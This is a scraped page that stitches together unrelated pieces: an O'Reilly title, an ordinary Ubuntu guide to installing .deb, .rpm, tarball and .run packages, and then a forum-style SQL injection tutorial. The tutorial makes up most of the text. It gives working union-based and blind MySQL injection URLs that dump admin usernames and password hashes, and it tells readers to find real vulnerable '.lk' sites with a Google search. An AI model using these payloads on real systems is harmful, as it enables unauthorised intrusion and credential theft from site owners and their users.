Hacking Visual Studio - O'Reilly Media

Hacking Visual Studio - O'Reilly Media

How to install a software in Ubuntu

There are many different kinds of Linux package files. Most of these are associated with the package managers of specific Linux distributions. Examples are Debian Package files (.deb files), RPM Package Manager files (.rpm files), Tarballs (.tar files) and .run files.
This section deals with installing these single files.

	It is not guaranteed that these files will be compatible with your system and you will not receive security updates if you install these files. For these reasons, if you wish to install a program, always use a native Ubuntu package of the application available through a package manager, if there is one available.

Installing/uninstalling .deb files

These files are Debian packages. The package files associated with Ubuntu have the .deb suffix because of Ubuntu's close relations with the Debian GNU/Linux distribution. You will need administrative privileges to install a .deb file. See Administrative Tasks for more details.
To install a .deb file, double-click on it. If you prefer using the Terminal, enter:

sudo dpkg -i package_file.deb

You can use your package manager to uninstall a .deb file once it has been installed. Alternatively, enter the following in a Terminal:

sudo dpkg -r package_name

Converting .rpm files to .deb files

Another type of package is the Red Hat Package Manager (RPM) file. These have the .rpm suffix. It is not recommended to install these on an Ubuntu system. In almost all cases, a native Ubuntu .deb package is available. However, if absolutely necessary, an .rpm file can be converted to a .deb package using the alien application. The resulting .deb file can be installed as described above.
To convert an RPM into a .deb:

1. Install the alien package.
   
2. In a Terminal, enter:
   

   sudo alien package_file.rpm

   
   

Installing tarballs

Files with the .tar, .tgz, .tar.gz or .tar.bz2 suffix are package files known as tarballs, and are widely used in Linux and Unix to package software. Tarballs can also be used to archive and compress other files.
If there is no native Ubuntu package available in any of the Ubuntu repositories, you can use the command line to install or uninstall the tarball file.
The first step will be to uncompress and extract the tarball. If it is a .tgz or a .tar.gz, in a Terminal enter:

tar xfvz tarball_name

Then it will be necessary to follow the instructions that come with the package. These are generally located in the extracted tarball in a file called README or INSTALL.
Tarballs often contain the source code of the program, and need to be compiled in order to be used.

	Compiling programs requires some packages that are not installed by default. You can install most of these all at once by installing the build-essential package.

Install .run packages

Sometimes you may need to install software (most often a game) which has been packaged as a .run file. These files contain the software and a small program to install the software.
Follow the procedure below to install software packaged in a .run file:

1. Find the .run file in the File Browser
   
2. Right-click the file and select Properties
   
3. Under the Permissions tab, make sure that Allow executing file as program is checked and press Close
   
4. Double-click the .run file and press Run in Terminal to run the installer
   
5. A Terminal window will open. Follow any instructions on-screen to install the program
   

	Once you have started the installer, it may take a while to display an installation screen. This is normally due to the installer extracting all of the files from the .run file ready for use.

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Creating 'After the jump' summaries - Blogger Help

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Sql Injection Tutorial With SQLiHelper Free Download

Full SQL Injection Tutorial (MySQL)


Mainly we can use 3 methods for SQL injections.but i  explain most poputer 2 methods for you!


In this tutorial i will describe how sql injection works and how to
use it to get some useful information.


1.SQL Injection (classic or error based or whatever you call it)
2.Blind SQL Injection (the harder part)


So let’s start with some action
HINT:you must use the -- end of the url
1). Check for vulnerability


hint:search google like this " .lk/main.php?nID"


get the 1st result and use somename is alise for the real name:icant provide the site name,but u can search it using above query in google: 


you got something like that www.somename.lk/main.php?nID=Search&id=1 --


and use this www.somename.lk/main.php?nID=Search&id=null union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19 --


then find the numbers are in the page related to above 1 to 19,then replace one number with database() or user() or version()


ex: www.somename.lk/main.php?nID=Search&id=null union all select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,database(),16,17,18,19 --

-----------------------------COMPLETE TUTORIAL----------------------------

Let’s say that we have some site like this
http://www.site.com/news.php?id=5


Find vulnerability Method1:


Now to test if is vulrnable we add to the end of url ‘ (quote),
and that would be http://www.site.com/news.php?id=5′
so if we get some error like
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
or something similar
that means is vulrnable to sql injection


Find vulnerability Method2:


2). Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result)


so how to use it? Well just incrementing the number until we get an error.


http://www.site.com/news.php?id=5 order by 1--   <– no error
http://www.site.com/news.php?id=5 order by 2--   <– no error
http://www.site.com/news.php?id=5 order by 3--   <– no error
http://www.site.com/news.php?id=5 order by 4--   <– error (we get message like this Unknown column ‘4′ in ‘order clause’ or something like that)
that means that the it has 3 columns, cause we got an error on 4.


3). Check for UNION function
With union we can select more data in one sql statement.
so we have
http://www.site.com/news.php?id=5 union all select 1,2,3--
(we already found that number of columns are 3 in section 2). )
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works

4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try this symbol --


it’s a comment and it’s important for our query to work properly.
let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.


it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3--
if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
i didn’t see any paper covering this problem, so i must write it
what we need is convert() function
i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3--
or with hex() and unhex()


i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3--
and you will get MySQL version


5). Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s …
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…


i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin-- (we see number 2 on the screen like before, and that’s good :D)
we know that table admin exists…


now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin-- (if you get an error, then try the other column name)
we get username displayed on screen, example would be admin, or superadmin etc…
now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin-- (if you get an error, then try the other column name)
we seen password on the screen in hash or plain-text, it depends of how the database is set up


i.e md5 hash, mysql hash, sha1…
now we must complete query to look nice
for that we can use concat() function (it joins strings)
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0×3a,password),3 from admin--


Note that i put 0×3a, its hex value for : (so 0×3a is hex value for colon)
(there is another way for that, char(58), ascii value for : )
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin--
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
when you have this, you can login like admin or some superuser
if can’t guess the right table name, you can always try mysql.user (default)
it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,password),3 from mysql.user--


6). MySQL 5
Like i said before i’m gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables-- here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1-- 
note that i put 0,1 (get 1 result starting from the 0th)
now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1--
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1--
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc…
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1-- the first column is diplayed.
the second one (we change limit 0,1 to limit 1,1)
ie.
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1--
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc…
if you wanna display column names for specific table use this query. (where clause)
let’s say that we found table users.
i.e
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name=’users’--
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Note that this won’t work if the magic quotes is ON.
let’s say that we found colums user, pass and email.
now to complete query to put them all together
for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(user,0×3a,pass,0×3a,email) from users-- what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com
That’s all in this part, now we can proceed on harder part


2. Blind SQL Injection


Blind injection is a little more complicated the classic injection but it can be done
I must mention, there is very good blind sql injection tutorial by xprog, so it’s not bad to read it
Let’s start with advanced stuff.
I will be using our example
http://www.site.com/news.php?id=5 --
when we execute this, we see some page and articles on that page, pictures etc…
then when we want to test it for blind sql injection attack
http://www.site.com/news.php?id=5 and 1=1 -- <— this is always true
and the page loads normally, that’s ok.
now the real test
http://www.site.com/news.php?id=5 and 1=2 --<— this is false
so if some text, picture or some content is missing on returned page then that site is vulrnable to blind sql injection.


1) Get the MySQL version
to get the version in blind attack we use substring
i.e


http://www.site.com/news.php?id=5 and substring(@@version,1,1)=4--


this should return TRUE if the version of MySQL is 4.


replace 4 with 5, and if query return TRUE then the version is 5.


i.e
http://www.site.com/news.php?id=5 and substring(@@version,1,1)=5--


2) Test if subselect works
when select don’t work then we use subselect
i.e
http://www.site.com/news.php?id=5 and (select 1)=1--
if page loads normally then subselects work.
then we gonna see if we have access to mysql.user
i.e
http://www.site.com/news.php?id=5 and (select 1 from mysql.user limit 0,1)=1--
if page loads normally we have access to mysql.user and then later we can pull some password usign load_file() function and OUTFILE.


3). Check table and column names
This is part when guessing is the best friend
i.e.
http://www.site.com/news.php?id=5 and (select 1 from users limit 0,1)=1 --(with limit 0,1 our query here returns 1 row of data, cause subselect returns only 1 row, this is very important.)
then if the page loads normally without content missing, the table users exits.
if you get FALSE (some article missing), just change table name until you guess the right one
let’s say that we have found that table name is users, now what we need is column name.
the same as table name, we start guessing. Like i said before try the common names for columns.
i.e
http://www.site.com/news.php?id=5 and (select substring(concat(1,password),1,1) from users limit 0,1)=1--
if the page loads normally we know that column name is password (if we get false then try common names or just guess)
here we merge 1 with the column password, then substring returns the first character (,1,1)


4). Pull data from database
we found table users i columns username password so we gonna pull characters from that.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>80--
ok this here pulls the first character from first user in table users.
substring here returns first character and 1 character in length. ascii() converts that 1 character into ascii value
and then compare it with simbol greater then > .
so if the ascii char greater then 80, the page loads normally. (TRUE)
we keep trying until we get false.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>95
we get TRUE, keep incrementing
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>98--
TRUE again, higher
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>99--
FALSE!!!
so the first character in username is char(99). Using the ascii converter we know that char(99) is letter ‘c’.
then let’s check the second character.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),2,1))>99--
Note that i’m changed ,1,1 to ,2,1 to get the second character. (now it returns the second character, 1 character in lenght)
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>99--
TRUE, the page loads normally, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>107--
FALSE, lower number.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>104--
TRUE, higher.
http://www.site.com/news.php?id=5 and ascii(substring((SELECT concat(username,0×3a,password) from users limit 0,1),1,1))>105--
FALSE!!!
we know that the second character is char(105) and that is ‘i’. We have ‘ci’ so far
so keep incrementing until you get the end. (when >0 returns false we know that we have reach the end).


There are some tools for Blind SQL Injection, i think sqlmap is the best, but i’m doing everything manually,
cause that makes you better SQL INJECTOR
Hope you learned something from this paper.

if you need more help plz contact me using commnets


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